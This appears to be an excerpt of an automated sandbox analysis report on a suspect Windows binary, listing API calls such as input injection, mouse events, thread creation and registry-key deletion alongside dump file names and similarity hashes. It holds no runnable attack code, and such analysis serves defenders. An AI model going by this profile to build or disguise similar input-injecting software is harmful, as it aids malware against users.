                              • ResumeThread.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00415786
                              • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 00415791
                              • __dosmaperr.LIBCMT ref: 004157A9
                                • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                              • String ID:
                              • API String ID: 1269668773-0
                              • Opcode ID: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                              • Instruction ID: 083f1b3d72dc2b4e3073d7627409da2efaae6cca9fbdfa2eb2c15b7cb2a145f7
                              • Opcode Fuzzy Hash: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                              • Instruction Fuzzy Hash: 4511E672501604EFC720AF76DC868DF7BA4EF80334F21412FF525922D1DB788981966D
                              APIs
                                • Part of subcall function 00438FE4: GetProcessHeap.KERNEL32(00000008,0000000C,0043910A,00000000,00000000,00000000,0044646E,?,?,?), ref: 00438FE8
                                • Part of subcall function 00438FE4: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FEF
                              • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,0044646E,?,?,?), ref: 00439119
                              • GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439123
                              • DuplicateHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0043912C
                              • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00439138
                              • GetCurrentProcess.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439142
                              • DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00439145
                              • CreateThread.KERNEL32(00000000,00000000,004390C2,00000000,00000000,00000000), ref: 0043915E
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                              • String ID:
                              • API String ID: 1957940570-0
                              • Opcode ID: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                              • Instruction ID: b388a4287fabc35bf2088fa38ebc9459a42e34e8a642192e1b63b89709cb9be3
                              • Opcode Fuzzy Hash: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                              • Instruction Fuzzy Hash: 3BF0CD753413007BD220EB65DC86F5BB7A8EBC9B10F118919F6049B1D1C6B4A800CB65
                              APIs
                              • ___set_flsgetvalue.LIBCMT ref: 00415690
                                • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                              • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                              • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                              • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                              • ExitThread.KERNEL32 ref: 004156BD
                              • __freefls@4.LIBCMT ref: 004156D9
                              • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                              • String ID:
                              • API String ID: 4166825349-0
                              • Opcode ID: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                              • Instruction ID: 1015f584654e325efa3cacb901eba7c9ae2b5aefa54885f90b4e6d99173acdac
                              • Opcode Fuzzy Hash: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                              • Instruction Fuzzy Hash: 14F049745007009BD704BF72DD159DE7B69AF85345761C85FB80897222DA3DC9C1CB9C
                              APIs
                              • LoadLibraryA.KERNEL32(advapi32.dll,p#D,0043415E,p#D,?,00442370,?), ref: 00434134
                              • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00434146
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: RegDeleteKeyExW$advapi32.dll$p#D$p#D
                              • API String ID: 2574300362-3261711971
                              • Opcode ID: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                              • Instruction ID: cb82693085896f9455b4638215a98dd7e3cb824177552166877179ce6000b7c2
                              • Opcode Fuzzy Hash: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                              • Instruction Fuzzy Hash: D8D05EB0400B039FCB105F24D8086AB76F4EB68700F208C2EF989A3750C7B8E8C0CB68
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                              • Instruction ID: be39947db1ffbcb7075193c31d102fc15fe4f6af8d23ce90efbce3d2b6a77a88
                              • Opcode Fuzzy Hash: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                              • Instruction Fuzzy Hash: 4BF16D71108740AFD210DB59C880EABB7F9EFCA744F10891EF69983261D735AC45CBAA
                              APIs
                              • GetClientRect.USER32(?,?), ref: 00433724
                              • GetWindowRect.USER32(00000000,?), ref: 00433757
                              • GetClientRect.USER32(0000001D,?), ref: 004337AC
                              • GetSystemMetrics.USER32(0000000F), ref: 00433800
                              • GetWindowRect.USER32(?,?), ref: 00433814
                              • ScreenToClient.USER32(?,?), ref: 00433842
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Rect$Client$Window$MetricsScreenSystem
                              • String ID:
                              • API String ID: 3220332590-0
                              • Opcode ID: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                              • Instruction ID: 40e56d112be44df416332e5c874318f33691c6b0c201ea6c9f9086adb5117cf0
                              • Opcode Fuzzy Hash: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                              • Instruction Fuzzy Hash: E9A126B42147028AC324CF68C5847ABBBF1FF98715F04991EE9D983360E775E908CB5A
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _malloc_wcslen$_strcat_wcscpy
                              • String ID:
                              • API String ID: 1612042205-0
                              • Opcode ID: de2929fcda50375e6e5cb9f1075b8832783a078aa1feca3c1cc6154b42d84a61
                              • Instruction ID: 39b6431fb86a1cae222df6ecce28f21653e085caad8de22f1e35678e4483a9b6
                              • Opcode Fuzzy Hash: de2929fcda50375e6e5cb9f1075b8832783a078aa1feca3c1cc6154b42d84a61
                              • Instruction Fuzzy Hash: CD613B70504202EFCB10EF29D58096AB3E5FF48305B50496EF8859B306D738EE59DB9A
                              APIs
                              • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C588
                              • SetKeyboardState.USER32(00000080), ref: 0044C59B
                              • PostMessageW.USER32(?,00000104,?,?), ref: 0044C5EC
                              • PostMessageW.USER32(?,00000100,?,?), ref: 0044C610
                              • PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C637
                              • SendInput.USER32 ref: 0044C6E2
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessagePost$KeyboardState$InputSend
                              • String ID:
                              • API String ID: 2221674350-0
                              • Opcode ID: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                              • Instruction ID: 3a634557d1668dba9f4fbb3ffee1259adddcddb7f3fce46f2ce6721246940f3b
                              • Opcode Fuzzy Hash: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                              • Instruction Fuzzy Hash: A24148725053486AF760EF209C80BFFBB98EF95324F04151FFDC412281D66E984987BA
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcscpy$_wcscat
                              • String ID:
                              • API String ID: 2037614760-0
                              • Opcode ID: f99e136c889cacb8689bc9f00eee4ad51686cf745bff212a4790763dd87d00cb
                              • Instruction ID: 871aa96d6b0d5f43eceffdadd72b032f7becd6ba50fbda5e2bca5dd503650597
                              • Opcode Fuzzy Hash: f99e136c889cacb8689bc9f00eee4ad51686cf745bff212a4790763dd87d00cb
                              • Instruction Fuzzy Hash: 7D41BD31901A256BDE317F55D880BBB7358DFA1314F84006FF98247313EA6E5892C6BE
                              APIs
                              • BeginPaint.USER32(00000000,?,004A83D8,?), ref: 00447B9D
                              • GetWindowRect.USER32(?,?), ref: 00447C1B
                              • ScreenToClient.USER32(?,?), ref: 00447C39
                              • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                              • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                              • EndPaint.USER32(?,?), ref: 00447CD1
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Paint$BeginClientRectRectangleScreenViewportWindow
                              • String ID:
                              • API String ID: 4189319755-0
                              • Opcode ID: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                              • Instruction ID: de699fe3e67e71f806f86ee7feca1bcffcb0489daa19151882f3061068cc4b26
                              • Opcode Fuzzy Hash: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                              • Instruction Fuzzy Hash: D14182705043019FE320DF15C8C8F7B7BA8EB89724F04466EF9548B391DB74A846CB69
                              APIs
                              • InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B490
                                • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                              • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4C2
                              • EnterCriticalSection.KERNEL32(00000000), ref: 0044B4E3
                              • LeaveCriticalSection.KERNEL32(00000000), ref: 0044B5A0
                              • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B5BB
                                • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                              • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5D1
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                              • String ID:
                              • API String ID: 1726766782-0
                              • Opcode ID: 16d5c57b5e53c2061fc4ac4ded6e87df9b6247511e9ffc13c2dfc8627616166f
                              • Instruction ID: bf52b5dc2e344941501510e432fc863898df75637e45487ca8cd05157db66b41
                              • Opcode Fuzzy Hash: 16d5c57b5e53c2061fc4ac4ded6e87df9b6247511e9ffc13c2dfc8627616166f
                              • Instruction Fuzzy Hash: 09415C75104701AFD320EF26D845EABB3F8EF88708F008E2DF59A92650D774E945CB6A
                              APIs
                              • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 004410F9
                              • EnableWindow.USER32(?,00000000), ref: 0044111A
                              • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 00441183
                              • ShowWindow.USER32(?,00000004,?,?,?,00448962,004A83D8,?,?), ref: 00441192
                              • EnableWindow.USER32(?,00000001), ref: 004411B3
                              • SendMessageW.USER32(?,0000130C,?,00000000), ref: 004411D5
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$Show$Enable$MessageSend
                              • String ID:
                              • API String ID: 642888154-0
                              • Opcode ID: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                              • Instruction ID: 824eeaafe1f931a994963cd163acc5b0ce47b26168a6fd4ee38d593e4569daee
                              • Opcode Fuzzy Hash: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                              • Instruction Fuzzy Hash: 14417770604245DFE725CF14C984FA6B7E5BF89300F1886AEE6859B3B2CB74A881CB55
                              APIs
                              • SendMessageW.USER32(00000000,00001024,00000000,?), ref: 004490E3
                              • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004490F8
                              • SendMessageW.USER32(00000000,0000111E,00000000,?), ref: 0044910D
                              • InvalidateRect.USER32(?,00000000,00000001), ref: 00449124
                              • GetWindowLongW.USER32(00000000,000000F0), ref: 0044912F
                              • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0044913C
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$LongWindow$InvalidateRect
                              • String ID:
                              • API String ID: 1976402638-0
                              • Opcode ID: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                              • Instruction ID: 8b80d2acd15126bdfc8b54909556444574c0e56a9806921f1e0b477f33817628
                              • Opcode Fuzzy Hash: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                              • Instruction Fuzzy Hash: F231B476244202AFF224DF04DC89FBBB7A9F785321F14492EF291973D0CA75AC469729
                              APIs
                              • GetForegroundWindow.USER32 ref: 00442597
                                • Part of subcall function 004344B7: GetWindowRect.USER32(?,?), ref: 004344D3
                              • GetDesktopWindow.USER32 ref: 004425BF
                              • GetWindowRect.USER32(00000000), ref: 004425C6
                              • mouse_event.USER32(00008001,?,?,?,?), ref: 004425F5
                                • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                              • GetCursorPos.USER32(?), ref: 00442624
                              • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00442690
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                              • String ID:
                              • API String ID: 4137160315-0
                              • Opcode ID: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                              • Instruction ID: 1581b522c3ee05a339ffa1fd07f9e8cd23967deed6539873686ea33d82c69dd2
                              • Opcode Fuzzy Hash: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                              • Instruction Fuzzy Hash: 7C31C1B2104306ABD310DF54CD85E6BB7E9FB98304F004A2EF94597281E675E9058BA6
                              APIs
                              • SendMessageW.USER32(?,000000F1,?,00000000), ref: 0044886C
                              • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                              • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                              • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                              • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                              • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$Enable$Show$MessageSend
                              • String ID:
                              • API String ID: 1871949834-0
                              • Opcode ID: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                              • Instruction ID: fbfed122d4da650e42f877d7e8bff2bfe9b33138fa51555fe8345b8bcc16d821
                              • Opcode Fuzzy Hash: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                              • Instruction Fuzzy Hash: A731F3B07443819BF7248E14C8C4BAFB7D0AB95345F08482EF981A63D1DBAC9846872A
                              APIs
                              • _memset.LIBCMT ref: 0044961A
                              • SendMessageW.USER32 ref: 0044964A
                                • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                              • SendMessageW.USER32(?,00001074,?,00000001), ref: 004496AC
                              • _wcslen.LIBCMT ref: 004496BA
                              • _wcslen.LIBCMT ref: 004496C7
                              • SendMessageW.USER32(?,00001074,?,?), ref: 004496FD
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$_wcslen$_memset_wcspbrk
                              • String ID:
                              • API String ID: 1624073603-0
                              • Opcode ID: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                              • Instruction ID: 7e49a266cf7116299f7bc8659d1ce07b00adedb8b3f1b428e1954e4b11147a1e
                              • Opcode Fuzzy Hash: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                              • Instruction Fuzzy Hash: B631CA71508300AAE720DF15DC81BEBB7D4EBD4720F504A1FFA54862D0EBBAD945C7A6
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
